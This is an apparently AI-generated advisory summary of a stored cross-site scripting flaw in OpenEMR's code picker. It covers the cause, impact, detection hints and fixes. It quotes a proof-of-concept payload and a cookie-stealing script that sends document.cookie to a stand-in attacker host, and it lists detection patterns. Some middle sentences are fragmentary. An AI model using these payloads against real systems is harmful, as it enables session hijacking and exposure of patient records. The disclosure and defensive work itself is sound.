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CVE-2026-32124 is a stored cross-site scripting (XSS) vulnerability in OpenEMR, a free and open-source electronic health records and medical practice management application. Prior to version 8.0.0.1, the dynamic code picker AJAX endpoint returns code descriptions (code_text) that are rendered in the front end (e.g., DataTables) without HTML escaping, allowing a malicious script embedded in a code description to execute in the browser of any user who opens the picker. All versions of OpenEMR before 8.0.0.1 are affected. The vulnerability was published on March 11, 2026, and carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory).
The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The vulnerable file is interface/patient_file/encounter/find_code_dynamic_ajax.php, which returns raw code_text values in JSON responses (lines 341, 346). The client-side code in find_code_dynamic.php and select_codes.php uses DataTables 1.10, which renders cell content via innerHTML without HTML encoding, causing any script tags or event handlers embedded in code_text to execute as JavaScript in the victim's browser. Exploitation requires an authenticated user with code management rights (e.g., admin or code list manager) to inject a malicious payload into a code description, and a second user to subsequently open the affected code picker — a classic stored XSS pattern (GitHub Advisory).
Successful exploitation allows the attacker to execute arbitrary JavaScript in the browser context of any OpenEMR user who opens the dynamic code picker, including high-privilege users such as administrators and clinicians. This can result in session token theft, unauthorized actions performed on behalf of victims (e.g., modifying patient records), and redirection to malicious sites. The impact is particularly severe when the victim is a privileged user, as it could enable full session takeover of administrators or clinicians with access to sensitive patient health information (GitHub Advisory).
A proof-of-concept (PoC) exploit with step-by-step reproduction instructions — including the specific payload <img src=x onerror="alert(document.domain)"> — is publicly available in the GitHub Security Advisory (GitHub Advisory). There is no current evidence of in-the-wild exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low but non-zero probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog as of the time of this report.
code_text) to a malicious payload such as <img src=x onerror="alert(document.domain)"> or a script that exfiltrates session cookies (e.g., <script>fetch('https://attacker.com/?c='+document.cookie)</script>).code_text via innerHTML.find_code_dynamic_ajax.php with abnormal or encoded code_text values; audit logs recording code creation or modification by non-standard users or at unusual times.<script>, <img>, onerror=, or javascript: URI schemes.The vulnerability is fixed in OpenEMR version 8.0.0.1; all users should upgrade immediately. As interim mitigations, restrict code management rights to the minimum number of trusted administrators, and monitor code creation and modification activities for suspicious entries containing HTML or script content. Implementing a strict Content Security Policy (CSP) header can limit the impact of XSS by restricting script execution sources. On the server side, ensure code_text values are HTML-encoded before being included in JSON responses; on the client side, use safe DOM methods (e.g., textContent) instead of innerHTML when rendering code descriptions (GitHub Advisory).
A blog post from Infinit Security covered the vulnerability shortly after disclosure, and Aisle published a broader report noting the discovery of 38 critical security vulnerabilities in healthcare software used by 100,000 providers, which included this CVE (Infinit Security, Aisle Blog). The vulnerability was also tracked by VulDB and ENISA's EUVD database. No significant vendor statements beyond the GitHub advisory or notable social media controversy have been identified.
Source: This report was generated using AI
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